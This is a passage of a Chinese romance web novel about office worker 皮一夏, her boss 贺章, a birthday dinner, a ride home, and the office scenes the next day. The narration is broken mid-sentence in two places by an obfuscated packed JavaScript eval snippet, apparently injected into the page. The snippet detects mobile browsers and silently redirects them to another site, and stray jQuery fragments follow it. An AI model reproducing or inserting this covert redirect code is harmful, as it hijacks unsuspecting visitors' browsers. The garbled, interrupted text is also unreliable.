四人分别落座。贺章在冲门口的主位,皮一夏在他的右手边,接下去是梁栋,最后是背朝门口的皮一辰。 皮一夏拿起菜单,请贺章先点,谁知这位气势疏冷的贺先生说:“点好了。” “……哦。”连菜都提前点了啊,这一路也没见他动手机,难道是助理帮忙点的? 三人面面相觑,很快,一个领班模样的服务员走进包厢,来核对菜单,念了一长串菜名,前菜、主菜、汤品都是这里的热门推荐。 一共四个人,点了十五道菜,皮一夏听得脸越来越绿。这么放血,她今天能活着走出餐厅吗? 贺章还在问:“还加什么,你们看着来。” “我觉得差不多了,先这样吧。”皮一夏说着看向梁栋和皮一辰,都是自家人,她也不客气,眼神示意他们不许再加了。” 见没人要加菜了,服务员收好菜单离开了,包厢里气氛再次沉默下来。皮一夏暗暗叹了口气,端起茶壶给大家倒茶。 贺章一副理所应当的模样,梁栋扶着茶杯说,谢谢我自己来,弟弟……算了弟弟不算个人。 茶水也添好了,皮一夏开始尬聊:“今天天气不错哈。” 有两秒无人接话,她尴尬得脚趾抠地,幸好梁栋很快出声解了她的围。 “是不错。秋高气爽,有朋自远方来,人生乐事。感谢贺先生找的这家餐厅,我一直听说,还从没来过,环境真是不错,茶汤也清亮甘香,我们就以茶代酒,小碰一杯,祝小辰生日快乐吧!” 多么得体,多么上道!这才是好朋友啊。 皮一夏内心泪流满面,笑吟吟说:“来来来,碰杯……”眼角余光注意着贺章,见他也端起了茶杯,不由松了口气,“祝小辰生日快乐~~~~” 她喊得最大声,盖过了所有人的声音,其实只有梁栋一个人。那位傻弟弟在忙着说谢谢谢谢。而那位贺先生,他应该根本没出声。 碰完杯,各自喝了口茶,放下之后,皮一夏又给大家添了点,然后端起自己的杯子冲贺章说:“感谢贺先生赏脸,来跟我们一起吃饭,我敬您。” 贺章盯着她没动。 皮一夏的笑容有点僵,正在想怎么收场,忽听他说了一句:“喝你的茶,敬什么敬。”敬完一个还有一个。 ……好的。 她混迹职场多年,这张脸皮千锤百炼的,被老板扫一扫怎么了,正常正常。皮一夏默默放下杯子,笑着给自己解围。 “贺先生不是多礼的人,这样其实挺好,中国的酒桌文化我也不擅长,人一多我就露怯,幸好今天都是亲近的人。” 贺章因为那句“亲近的人”扫了她一眼,神色里的疏冷消了不少。 气氛再次沉默,皮一夏却不觉得尴尬了,大概是尬到极处人自然佛了吧。 她把纸袋推到弟弟面前:“拆礼物吧。” 皮一辰拿过去看了看,里面是新款的华为手机,还是高端系列,他知道很贵,又推了回去。 “姐,你买这么贵的手机干什么?我手机又没坏,还能用很久。拿回去退了吧,我都多大了,不用每年给我买礼物。” 皮一夏瞪了他一眼,自己动手把包装盒拆开,取出手机,放到他面前:“你那手机用了三四年了,现在天天清内存吧?别墨迹,有礼物收还不高兴,我高兴收还没人送呢!而且,买都买了,再去退,我脸上好看?” 皮一辰只好收下,但郑重强调:“明年不要了啊,你敢买,我就当二手卖了。” “知道了知道了……”皮一夏随口说。 皮一辰把手机开机,华为鸿蒙的系统画面闪现,他技术脑上头,开始跟贺章探讨起手机操作系统的专业问题,什么操作系统市场垄断、芯片研发……一个技术生一个技术佬,倒是聊得很投机。 皮一夏听不懂,趁机跟梁栋搭话,以免他不自在。 过不多时,菜陆续上来了,就边吃边聊。京兆尹的菜对得起它的装潢,色香味三绝。皮一夏边吃边照顾桌上的人,时不时给大家添茶,或是左右搭几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464275|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话——主要是跟梁栋搭话,两位技术迷还在热络地交流。 皮一辰脸色微微泛红,看贺章的神情是越发崇拜了。 皮一夏抿了抿唇,小声问梁栋:“你下午还有课吗?” “还有两节。”梁栋说。 “大学老师也这么忙吗?周日都不休息。” 梁栋笑了笑:“还好。周末就三节选修课,我闲着也是闲着,还不如给学生上课。你呢,还是忙得昏天黑地吗?” “现在好多了,就是赶上项目多的时候忙……” 皮一夏说着话,大脑里的雷达却没关,忽然察觉包厢里安静下来,她下意识瞟了眼贺章,他也正好在看她,脸色有点不好看……怎么了?小辰惹怒他了?为啥不聊了? 皮一夏有点懵,下意识端起茶壶,给他添茶,添完用公筷给他夹了个菜。他似乎很喜欢吃这道三杯羊肚菌。 “贺先生,这羊肚菌很好吃,您多吃点。” 贺章盯着盘子里那菜沉默了两秒,夹起来放到了嘴里。 皮一夏暗暗松了口气。肯吃就好,肯吃就没生气。 她又给皮一辰夹了个汤包。梁栋心疼她在老板面前拘谨应酬,净招呼大家,自己都没吃多少,于是起身盛了几勺桃胶卤肉饭,放在她面前,轻声说了句:“多吃点主食,你太瘦了。” “你可真知道我爱听什么。” 皮一夏朝他笑笑,随手拨弄着卤肉饭,梁栋略显无奈地摇了摇头。 “要那么瘦做什么。” “瘦了好看呀!” 梁栋盯着她,认真说:“已经够好看了。” 皮一夏有点尴尬,脸色微微泛红,干笑两声,低头吃饭。 这两个人轻声细语,一来一往,听得贺章心头无名火起,忽然放下了筷子。木筷和瓷盘撞击在一起,发出“铛”的一声脆响,在清幽静谧的包厢里,很不和谐。 三人都有点惊讶,同时朝贺章望了过去。 “我去个洗手间。”贺章站起身,抬脚就往外走。 皮一夏也就不再关注他,又吃了两口,忽然意识到,他可能是要去结账,忙起身快步走出包厢,跑到了柜台前,结果没发现贺章,难道真是去洗手间了? 她回过神,对服务员说:“梁轩包厢结一下账。” 话音未落,梁栋也跟过来了,他已经打开了手机的付款码,皮一夏急忙挡在他身前拦着。 “不许跟我抢。栋哥,你再这样我生气了!” 两人争的不可开交,没看见服务员眼里的错愕,直到听见一声“已经结过了”,才双双怔住,目光转向柜台后的人。 “啊?” 皮一夏嘴巴微张,服务员肯定地点点头:“会员用户,自动划账的。” 梁栋先回过神,不好意思地说:“本来想请你们吃饭的,现在变成蹭饭的了。” 皮一夏:“谁不是呢……” 视线不经意扫过走廊,贺章从洗手间出来了,经过柜台这边时,脚步也没停。 “贺先生。”皮一夏叫住他,“您去哪?” “车里。”贺章丢下两个字,就往门口去了。 皮一夏盯着他的背影,心想,这位活爹真是奇奇怪怪的,也不知道谁惹他了,一顿饭吃的好好歹歹。心累……她就知道,跟老板一起吃饭,就会是这种下场。 梁栋同情地拍了拍她:“这位贺总貌似不太好相处,你自己当心。” “你也看出来了。” 皮一夏耷拉着脑袋,跟梁栋一起回包厢。 皮一辰刚放下筷子,看见两人回来,捂着肚子说:“姐,梁老师,贺先生呢?” “回车里去了。”皮一夏说。 “那我也去,我还有个问题想请教他。” 皮一夏一把拉住他胳膊,食指在他脸前晃了晃:“你最好不要请教他任何问题。” “为什么?” 皮一夏盯着男大学生清澈的双眼,微笑着说了句:“贺先生……肚子不舒服。”比经期的女生还喜怒无常。 三人带好东西,走出餐厅,来到了车门边。 皮一夏原本不想再耽搁贺章时间,他们打车回去就行,转念又改了主意,开门坐进了副驾。 回程的路上,车里气氛比来时沉默。 小迷弟皮一辰不敢说话,因为偶像不舒服,一直憋到校门口,他才说了句:“贺先生,您肚子不舒服,这附近有药店,我去帮您买点健胃消食片吧?” 皮一夏:“……” 弟弟,没有这么坑亲姐的。 她心如死灰,一脸尴尬,贺章偏头看过去,嘴角勾着促狭的笑:“不用。不严重。” “哦。”皮一辰没帮到偶像,略微有些失落,但很快就振作了语气,“那您回去多喝热水。希望还有机会听到您的讲座。” “嗯。” 车停稳,梁栋对贺章说:“贺先生,让您破费了,下次我做东,请您一定赏脸。” 贺章不咸不淡地说了句:“不用。” 梁栋已经习惯了这位贺先生惜字如金的风格,此刻也不觉得尴尬,略一颔首,就开门下车了。 皮一夏透过车窗跟两人告别:“小辰,最近降温了,你早晚别贪凉,别穿个短袖晃来晃去,小心感冒。栋哥,咱们回头再约。” “好。”两人摆手跟她道了再见。 车子发动,贺章说:“我肚子不舒服?”语气玩味,漆黑的眼睛睨着她。 皮一夏心里一紧,尴尬道:“我怕小辰缠着您问个不停,就跟他说,您不舒服,他以为是肚子……” 她干笑了两声,贺章低低“哼”了一声,倒也没有再追究。 皮一夏打量他面色缓和了,说:“贺先生……” “叫我Ethan。”贺章忽然说。 他一向把工作和生活分得开,在公司以外的场合,不习惯被人称呼贺总,皮一夏随着桂叔叫她“贺先生”,他当时觉得无可无不可,现在却感到不舒服。这是代表尊重的称呼,尊重的另一层意思是客气和疏离,他想到吃饭时,她跟梁栋言笑晏晏,热络交谈的样子,嗓子里就像卡了个果核,上不来下不去的,贺章尚来不及仔细思考,为什么会这样,只是直觉不爽! 皮一夏听他语气不快,小心地瞄了他一眼。贺章下颌紧绷,神色有点冷,她虽然不解,但也不太想探究根源,这顿饭吃得已经够累了,她只想快点结束应酬,于是爽快答应:“好的,Ethan。” 她的声音轻,最后一个音节温软地拂过唇齿,听着像在撒娇。贺章忽然偏头看向窗外,攥拳抵在唇边扫了扫嗓子。再转回时,脸色比刚才松快了些。 “想说什么?” 17. 任务 “哦,我想说,刚刚那顿饭应该是5236,不知道有没有算错,我微信转给你。” 她之所以还在车里坐着,就是为了这事,等转了钱,随便贺章把她放在哪,打车回去就行。 皮一夏点开微信聊天窗口,贺章却道:“不必。” “要的。”皮一夏微微蹙眉,神色坚持,“昨天那800您不收就算了,今天这不是一笔小数目,我必须给。是我要给弟弟过生日,我们三个人您一个人,怎么能让您请呢?” 贺章一听她把自己跟梁栋算在一起,把他单独孤立出来,心里又开始不爽,板着脸说:“我请同行吃饭,你只是顺便。” 可这次她没有妥协,又道:“我要是不在场,你随意,我在,没有让你破费的道理。您要是微信不收,我就支付宝转了,支付宝也是手机号吧?” 贺章默了片刻,终于没有再争辩:“从你的花匠工资里扣吧。”说完见她还倔着一张脸,他心头火起,沉声威胁,“再多话把你丢路边,自己走回去!” “您丢吧。我自己能打车。本来也没想劳驾您送我回去。” 皮一夏有点受不了他这喜怒无常的风格。本来能好好沟通的事,非要拿话噎人,要在平时也就算了,今天这顿饭照顾他情绪她已经很累了,现在他还不合作,她忍不住上火,于是不客气地怼了回去。 贺章目露惊奇:“为什么?” “什么为什么?” “为什么没想劳驾我?” “当然因为您是老板啊,我怎么敢让您载回去!而且,有哪个打工人,大周末还想对着老板的脸啊?” 话一脱口皮一夏就意识到完了,怎么就把心里话秃噜出来了!果然,贺章的脸瞬间阴沉下来,比在云溪庄园初见之时,还要难看。 她感觉自己这会儿连出气都是错的,于是低下头,小心翼翼地屏住呼吸,努力降低存在感,准备承受王者的雷霆震怒。 但说实在的,贺章发怒是什么样子,她其实没有任何预期,毕竟在巴塞罗那时,她又哄又骗,他也没有说一句难听话。 可这次情况有所不同,当面扫他的脸,说不想跟老板待在一起,这属实太无理了,他无论作为男人还是作为领导,他应该都不会轻饶。 皮一夏缩着脖子当鹌鹑,等了几秒,没听到他的回应,忍不住悄悄抬眼瞟他。 压低的眉峰代表他此时很不快,眼神里透着一股子冷意,攥在方向盘上的手指节泛白,整个人看上去又生气,又好像很烦躁。 “贺总对不起……”她小声道歉。 贺章一句话丢她脸上:“说了在公司以外我不是贺总!” 皮一夏惊得身体一抖,默了几秒继续解释:“您别生气了……我不是故意的。不是对您有意见,只是在陈述一种客观现象,打工人在老板身边,就是会拘束嘛!” 她眼睫低垂,嘴巴微微噘着,看上去很乖巧,声音里却透着几分委屈,贺章心头窝火的感觉忽然消了不少,胸腔里又涌上些别的情绪,有焦躁有不满,还有说不清道不明的,温软的东西,喉结不由滚了滚,他的嗓音有点干,语气却很平和:“不是不怕我了?为什么还拘束?” “我不怕您,是知道您不是个古怪的老板,而是一个能沟通、讲道理的老板。那毕竟还是老板的嘛,身份不对等,我就得敬着您,时刻观察您,有没有不开心,但您好像常常不开心,我都不知道自己哪里做错,惹到您了……我这一顿饭,吃的累死了。” 可能是潜意识里察觉他没有危险,皮一夏有点破罐破摔,嘟嘟囔囔说了一大堆。 贺章听完沉默了一会儿,忽然笑了,目光掠向一旁低垂的脑袋,平声唤:“皮一夏。” “啊?!”她抬眼看去。 贺章绷着脸,语气冷硬:“这个问题要解决。” “什么问题?解决什么?”皮一夏茫然问。 “我不想做让员工拘束的老板,但我就这样,改不了,你自己想办法克服。”顿了顿,又补充,“这是任务。” “……” 为什么她有这么多任务啊?!花匠工作日志还没写完呢,又来一个不拘束,这都是些什么状况啊!皮一夏忍不住叹了口气。 “既然是任务,总得有明确的需求、目标、操作路径、KPI吧。”她拿出职场那一套应对,拧着眉头说,“现在的需求是,您不想做让员工拘束的老板,目标是员工在您身边不拘束,是吧?我的任务就是找出操作路径,那KPI呢?怎么考核是否完成了目标?” “你让我想?”贺章挑眉。 两人的眼神隔空厮杀了会儿,皮一夏怂怂地败下阵来,却坚持道:“当然你想!是你下的任务,我总不能既当选手又当裁判吧,这合理吗?” “我允许你既当选手又当裁判,我觉得合理,你写一套实现方案出来。” 皮一夏环抱双臂,眉头拧得更紧了:“我不写!” “你敢?!” “有什么不敢的!你让我周末为莫名其妙的事加班,这是另外的价钱,我有权拒绝!你是老板又怎么了,我要去申请劳动仲裁!” 贺章:“……” 四目相对,皮一夏抗住了他凌厉神色的威压,片刻后捂住嘴,栗色的大眼睛笑意盈盈,贺章的嘴角也微微翘了起来。 “我完成任务了吗?”皮一夏问。 和老板当面争辩,这个操作路径还满意吗? 贺章一本正经:“勉强过关。” 车里气氛瞬间轻松了不少,皮一夏身子往下滑了滑,两腿伸直,没骨面条似的,感觉累瘫了,吃饭也累,应付老板也累。 “坐好。”贺章说。 她现在感觉贺章一点也不可怕,于是忍不住回嘴:“我不。累。” “累就把椅背放低,睡觉。” “哦。也对。”皮一夏找到控制座椅的开关,调整了一下,半躺下去闭上眼,“我就稍微眯一会儿,不睡。” “嗯。” 她嘴里说着不睡,结果眼睛闭上没两分钟,人就会周公去了,一路上再没睁眼。 车开得很稳,贺章偶尔偏头看一眼,瞧见她一脸憨甜的睡意,忍不住勾唇。转向时,她扭着脖子东倒西歪,贺章会伸出手,扶正她的头。 约三十分钟后,车在佳华小区大门口停下。贺章看过她的资料,知道她住在这个小区,但没写具体哪栋楼。 想叫醒她,又莫名感觉不忍心,就停下来等了一会儿。 好在也没有等太久,皮一夏醒了,举着胳膊伸懒腰,迷迷瞪瞪地说:“到了吗?我怎么睡着了……” “哪栋楼?”贺章问。 “306。”她下意识回答。 答完彻底清醒了,心想怎么能让人送到楼下,这也太不拿老板当外人了,于是忙坐直身子说:“就在这停吧,我走进去就行。” 但贺章已经发动车子,转瞬就拐进了大门。 ……好吧。贺总人还怪好的。 直行一段路,拐过一个弯后,车开到了306楼下,贺章停稳车,皮一夏解开安全带说:“谢谢啊,Ethan。” “嗯。” 推门下车前,皮一夏心想自己睡了一路,把人当司机,到地方就下车,怪不好意思的,于是随口客套了句:“您口渴吗?要不您稍等一下,我上楼去给您拿瓶水?” 贺章盯着她沉默一瞬,忽然说:“上去洗个手,方便吗?” “啊……哦,方便。”虽然不是她预设的发展方向,但也没什么不方便的。 右后方有个停车位,贺章倒进去停好,两人从车里出来,并肩往单元门走,皮一夏笑说:“Ethan,相比您那辆劳斯莱斯,我更喜欢这辆吉普。” 贺章微微挑眉:“为什么?” “好看呀。它的造型很酷,一看就是动力强悍、能跑远路的。那辆劳斯莱斯洋气是洋气,但看着好娇贵,好像一碰就会碎。这辆吉普感觉就特硬,跑在满大街的小轿车中间,散发着淡淡的王者霸气,喇叭一响,就好像在说‘敢挡朕的路,活够了吗’!” “……” 贺章忍不住笑起来:“你是我见到的第一个这么侮辱劳斯莱斯的。” “我瞎说的。” 两人进了电梯,皮一夏按了10,门缓缓合上,密闭的狭小空间里,气氛忽然变得尴尬。 皮一夏一手抱臂,仰头看跳动的红色数字,大脑不受控制地想到巴塞罗那,Colon酒店的电梯里,也是如此刻一般,贺章站在稍稍错后一些的位置,一言不发,存在感却强得可怕。 越尴尬越沉默,越沉默越尴尬,她的脸上浮起一层粉色,不自在地捋了一下头发。 一股淡淡的茉莉花香散逸进鼻端,贺章的视线掠过她白皙的侧颈,旋即转向侧壁上的猫粮广告。 “家里还有其他人吗?”他问。 “没有。”她租的是一居室。 皮一夏忽然想起,她已经两三天没收拾屋子了……一时间身子僵住,眼睁睁瞧着电梯门打开,缓缓闭了闭眼。 她快步跨出电梯,尴尬地说:“Ethan,您先等我一分钟好吗?就一分钟!” 贺章不解,皮一夏却没多解释,匆匆说:“等着……”然后火速冲到门边,按开智能锁密码进屋,大门“哐当”一声甩上了。 贺章:“……” 皮一夏冲进屋子里,两手抓起沙发上的三件衣服、椅背上的两件衣服,一股脑塞进衣柜里。再把茶几上的坚果壳、空水瓶扫进垃圾桶,拿湿纸巾迅速擦了遍桌子。接着把两个快递盒子摞在一起,归置到厨房角落。 好了,看着差不多了。 她捋了把头发,走过去打开门,摆出端庄的微笑:“请进。” 贺章盯着她红扑扑的脸,大概猜到发生了什么,却只当不知,缓缓跨进门。 门口就是鞋架,最底层是几双高跟鞋,上一层是运动鞋,再往上是平底鞋和马丁靴,最上面一层摆着两双拖鞋,一双粉色,一双灰色。 皮一夏边换拖鞋边说:“您不用换。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468030|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贺章两手插在裤子口袋,站在玄关处,打量这间屋子。 一个五十来平的大开间,厨房和卫生间分布在大门左右两边,客厅和卧室被一堵磨砂玻璃屏风隔开了。靠里的是卧室,床对面竖着一个双开门衣柜,外墙上有一扇明窗,悬挂淡紫色窗帘。厅里摆放淡黄和浅灰色相间的双人沙发,一张原木细腿茶几,右墙上靠着个同色系书架,上面摆满了书,最顶层的玻璃橱柜里,还摆着一柜子手办布偶。 无论是陈设还是气味,都很明确地在提醒贺章,这是属于女孩子的私人空间,他忽然意识到自己提出上楼有点冒昧,一时间生出几分局促,这种感觉实在太陌生,他克制地站在门边,一动不动。 皮一夏在厨房洗了手,边开冰箱门边说:“卫生间在你右手边,不是要洗手吗?” 贺章“嗯”了一声,右转走了进去。卫生间里除了马桶、热水器、淋浴喷头和洗手台,还摆了一台洗衣机,余下的空间就很小了。 他洗完手出来,皮一夏已经从冰箱取出两瓶水,摆到了茶几上,一瓶农夫山泉,一瓶冷泡茉莉花茶。 “你坐。”她指了指沙发,“想喝茶还是喝水,随意。” 贺章坐到沙发上,随手捞起农夫山泉,拧开喝了两口:“这房子格局不错。” “是吧。麻雀虽小五脏俱全。”皮一夏随口应和,拖过地板上的圆垫,盘腿坐在茶几另外一边,把一盘洗好的水果推过去,“吃水果。” 贺章扫了一眼,盘子里有两个桃子,几个小番茄,还有一捧蓝莓。 “在这住多久了?”他问。 “八个多月了。”皮一夏边往嘴里塞蓝莓,边回忆着,“今年开春搬来的,之前住在天通苑,跟人合租,那边环境不太好,七八个人挤在百十来平的四居室里。你大概不了解,每天早上跟三四个人抢卫生间是什么感受。” 她说着瞟了他一眼,表情有点小得意,好像在说,也有你不知道的事。贺章低眉笑了一下。 他确实不了解,不过很有兴趣听一听,但皮一夏没有细说,只道:“后来有了点钱,就搬到这个小区了。离公司近,走路二十分钟到,早上能睡会儿懒觉。这房子南北通透,每天早上起来,被太阳照着,让人感觉斗志满满!当然,房租也很贵就是了,但人活着,不能哪哪都委屈自己,您说是吧。” “嗯。”贺章简短地应了一声。 皮一夏忽然觉得自己话有点多,不止是这一次话多,好像是自从确认了贺章没那么可怕,就不自觉地跟他说了很多废话,她打住话头,又往他那边推了推盘子:“吃呀。” “好。” 贺章捡了一颗小番茄放进嘴里。 这时,皮一夏的手机铃声忽然响了。 她抓过来接通:“喂,栋哥。你没上课吗?” 梁栋说:“课间休息。到家了吗?” “到了,刚到不久。” 贺章盯着她嘴角的浅笑,胸中那股窝火的感觉又出现了,他站起身说:“我要走了。”声音不高不低,刚好把接电话的人惊得仰起头。 声筒里静了一秒,传出梁栋的声音:“家里有人?” “是Ethan,哦,就是贺先生。”皮一夏边起身边说,“他送我回来的。我先不跟你说了啊栋哥。”然后匆匆挂了电话。 她跟在贺章身后,两只手各拎着一瓶水:“我送您下楼。” “不用了。”贺章站在玄关,手握门把,神情淡漠,“你歇着吧。” 皮一夏没有察觉异常,又说:“那您拿着水,路上喝。”她伸着两手,让他选带哪个。 贺章盯着一瓶农夫山泉,一瓶冷泡茶,静了两秒,接过农夫山泉……过了会儿,又把冷泡茶也拎了过去。 ……这么渴的吗? 皮一夏懵懵地说:“您路上小心,到……” 差点习惯性地说出那句,到家了跟我说一声,她及时打住话头。 贺章盯着她扑闪扑闪的大眼睛,暗暗咬了咬牙:“花匠工作日志,别忘了,今晚12点前提交。” “……”她彻底把这事给忘了,“怎么写日志啊?有没有格式和内容要求?” “你问我?”贺章语声凉凉。 皮一夏默默低头。好吧,是她没跟桂叔交接清楚。 贺章忽然抿唇,嘴角牵起浅浅的笑:“写清楚你的工作内容,和工作感受,就可以了。” 得到明确答案的人猛地抬眼:“那字数呢?字数也没要求吧?” 贺章张嘴就想说五千,话在嘴边滚了一遭,出口时改成了:“三千。” “这么多……三篇小作文啊……”果然没有一块银子是好挣的。 皮一夏腹诽了句,笑着说:“好的,我会写完的。” 贺章拉开门走出去,转回头,她朝他摆手:“拜拜Ethan。” 贺章感觉腿脚发沉,有点迈不动步子,他盯住门里那双眼,还有眼下方的青黑,心不由得又软了几分。 “只要表述清晰,两千字也可。” 18. 真诚 皮一夏眼中瞬间爆发出光彩:“好的!Ethan万岁!”她边说边攥着两个拳头晃了晃,示意自己会加油写的。 贺章嘴角缓缓上翘,抬起食指朝她点了点:“认真写。”不许三心二意。 “一定一定!” 她已经认定了,Ethan是天底下最好的老板! 皮一夏感激涕零,送走贺章就开始赶工。两千字听着不少,写起来却很快。她把这篇日志当作课堂笔记,将每种花的生长习性、照护技巧都梳理了一遍,对于这份兼职多了几分掌控感。 在最后的工作感受部分,她为自己弄湿了贺章的衣服表示抱歉,并夸了夸他身为老板的大度和人性化。 语气很官方、很得体。 一篇洋洋洒洒的花匠工作日志完成,前后用了不到两个小时。又通读一遍,改了改词句和错别字,确认没有任何问题,就拽到微信里,给贺章发了过去。 贺章没回复,可能在忙,还没看见吧,她也不等了,爬上床,钻进被窝里开始补觉。 这个周末过得真是,精彩纷呈。先干了一天体力活,又组了个莫名其妙的饭局,回来写了两千字小作文,晚上还要开一个工作会议。 太充实了。 皮一夏闭上眼,不到十分钟就睡熟了。一觉昏天黑地,醒来时,窗外天色已经暗下来了,屋里黑沉沉的,只有窗口这一方冷光,她拥着被子躺在黑暗里,想到周末即将过去,有点绝望。 拿起手机看了一眼,更绝望了。睡前发过去的日志,竟然收到了老板的反馈。 贺章:「不够真诚,好好修改。」 这种东西,不是走个过场就完了嘛!为啥还要修改!什么叫不够真诚?!明明已经是发自肺腑的真诚了……贺老板讨厌死了! 皮一夏气呼呼地把手机扔回床上,心如死灰地发呆……过了会儿又死灰复燃。 她先回复贺章:「好的,我再调整一下。」 接着下床开灯,做饭吃饭。晚上开了一个项目的宣传预热会议,结束后九点,电脑不用关,接着修改花匠日志。 她通读了两遍,都不知道哪里不真诚,对着word文档,薅了会儿头发,终于还是给贺章发去了微信。 丰和壹号别墅二楼书房里。 贺章坐在书桌后,正在开一个国际会议,电脑登着微信,突然弹出一条消息。 皮一下很开心:「Ethan,这个日志,您觉得哪里不够真诚呀?」 他忍不住牵起嘴角,一边听汇报,一边弹了两个字过去:「语气。」 皮一夏盯着这两个字,默默吐槽:废话。就是不知道语气哪里不真诚,才来问你的嘛!算了,她还是自己琢磨吧。 这篇日志的前半部分是工作内容,写得都是客观事实,应该不存在真诚的问题。后半部分是工作感受,她这又道歉又道谢的,到底哪里不真诚了? 皮一夏琢磨了半天,修改了一些用词,行文变得更加谦恭有礼,简直有点拍马屁了,这次算真诚了吧。 她慎重地发了过去,然后就去洗漱收拾。 十一点,又收到了贺章的回复:「睡吧。」 看来通过了!皮一夏抓着手机,笑眯眯倒在床上,心道原来贺老板喜欢听人恭维。 她准备发个感谢的结束语,结束一天的工作。 正打字时,忽然又收到一句话:「明天再改。」 “……” 皮一夏缓缓收起笑容,默默删掉对话框里已经敲完的字。 贺章眼看聊天界面顶部的「对方正在输入」闪了两次,接着无声熄灭,没有一句话传过来,忍不住笑出了声。 等了几分钟,还是没回复,他发过去追问:「在骂我?」 这次的回复倒是及时:「没有。」那个句号,透着一股子沉默的怨念。 贺章:「我听到了。」 发完这句,对面没有再回复,贺章想象着那张愠怒的小脸,不由心情大好,合上电脑起身,不紧不慢地往浴室去了 第二天周一,皮一夏极限打卡,到工位的时候,团队里的小伙伴都转头看她。 张宝静笑嘻嘻地调侃:“皮皮姐,你住得离公司这么近,还天天踩点来,这合理吗?” “NONONO!”皮一夏竖起食指,不以为然地晃着说,“我住这么近,就是为了踩点来。” 说着坐到了工位,张宝静转头对刚入职的新人说:“职场第一课,观察直属上级的情绪状态,从穿着打扮开始。你看皮皮姐的衣服,说明她今天心情不错,但有一点压力。” “怎么看出来的?”萌妹子小美茫然地问。 皮一夏上身穿着鹅黄色薄毛线T,下身是一条各色补丁拼接而成的半身裙,裙子左边,还挂了个尖耳朵眯眼笑的布娃娃。 这身装扮看着挺怪异的,尤其那条裙子,简直像丐帮帮服,不过她长得好看,身材又好,人衬衣裳,细品竟又品出点别具一格的时尚感。可是,有一点压力是怎么看出来的? 张宝静神秘兮兮:“记好了啊。皮皮姐的穿衣风格,通常分为四种:第一种,牛仔裤T恤等正常基础款,当她穿得跟路人甲一样时,说明心情一般;第二种,奇装异服,比如今天这件裙子,说明心情不错;第三种,奇装异服上挂了布偶,说明心情不错,但有点压力;第四种,挂了好几个布偶,说明心情虽然不错,但压力爆棚。” 小美不明觉厉,看向张宝静的眼神里满是崇拜。 皮一夏笑着打了她一巴掌:“你就天天研究这些邪门歪道吧,给我把新人都教坏了。小美,你别听大宝胡说八道,姐姐打工的心情每天都很好!” 宣传部这片公区爆发出笑声,组员们七嘴八舌地揭穿她。 “小美,皮皮姐的话可以不信,大宝的话那都是箴言,一定要记在心里。” 皮一夏起身叉腰,佯怒喝道:“都不忙是吧!正好,我手里有个活儿,需要人分担。” 两排工位面对面八个人,除了小美以外,几乎全员做出在嘴上拉拉链的动作,气氛瞬间陷入安静。跟什么邪教仪式似的,把小美看得目瞪口呆。 热闹过一阵子后,张宝静忽然想到一事,凑过去小声问皮一夏:“到底咋说啊?竞聘成功的几率是不是很大?” “不知道。” 皮一夏回想起上周惨不忍睹的汇报,心里不抱太大希望,能者居之吧,她也不是非上不可,反正她尽力了,其他的看命吧。 正在这时,鼓着七个月大肚子的Vivian进入公司,胳膊上挎着白色托特包,边推开办公室的门,边朝宣传部这边扬声:“皮皮,过来下。” 张宝静小声激动地说:“要出结果了!加油加油!” 对面工位的高级策划经理Justin眼波闪了闪,没说话。皮一夏起身,走到Vivian的办公室,敲门进去。 “Vivian,您找我过来,有什么事吗? Vivian示意她在椅子上坐:“关于竞聘,赵总的意思是,再进行一轮公开考核。” “啊……”怎么还有?升个职真的好麻烦,“怎么考核呢?” “这次的任务是,写一份针对我们大内容部的工作规划,结合当前整个的市场环境,文娱产品,分析明年我们在内容上的投入重点和工作重心。” 听起来就是一个很大的PPT。 皮一夏内心苦涩:“提交时间定了吗?” “本周五下班前。” “这么急?!”疯了吗? “嗯。”Vivian耸了耸肩,“赵总想尽快把人选定下来,好推进下面的工作安排。” 皮一夏想起昨晚的项目预热会议,忍不住叹了口气,又要双线并行了……能怎么办呢?整吧! 皮一夏出去之前,问了上周的考评结果,Vivian说还不到公布的时候,又说让她先做好手头的事,她有点看不明白Vivian的态度,但也没有再多话。 回到工位,皮一夏开始思考怎么分配工作。她手里压了个竞聘文件,日常的宣传项目能分出的精力就少了,简单盘了盘这周要做的事,把几个主要负责人喊到会议室,开了个简短的会议,散会之后,单独留下了Justin。 “Justin,你对我有意见?”皮一夏开门见山。 一身嘻哈装扮的Justin歪坐着身子,懒散地瞅她一眼:“没有啊。” “那你今天是怎么了?我说一句你反驳一句,说一句你反驳一句。让你来主导方案,你这不行那也不行,八百六十个不乐意,能不能说清楚,你在想什么?”皮一夏冷静地问。 Justin嗤笑了一声:“就是忙啊!心情不好不行吗?” “忙。大家都忙。相比于你,大宝手里的案子翻倍。你心情不好,如果是公事,可以开诚布公地跟我谈。你的晋升申请我已经递上去了,Vivian说要再等等,我也没办法,不是没有帮你争取,公司毕竟不是我的,你要是因为这一点不满,可以直接说。如果是因为私事心情不好,那我希望你,不要把情绪带到团队里。大家都有自己的情绪,但专业的人知道,不应该影响别人。” 皮一夏说话没留情面,留情面的话这半年已经说过好几回了,现在看来,效果不大。 她说完盯着Justin,后者神色满不在乎:“知道了……还有事吗?没事我去忙了。” 皮一夏忍不住皱眉。 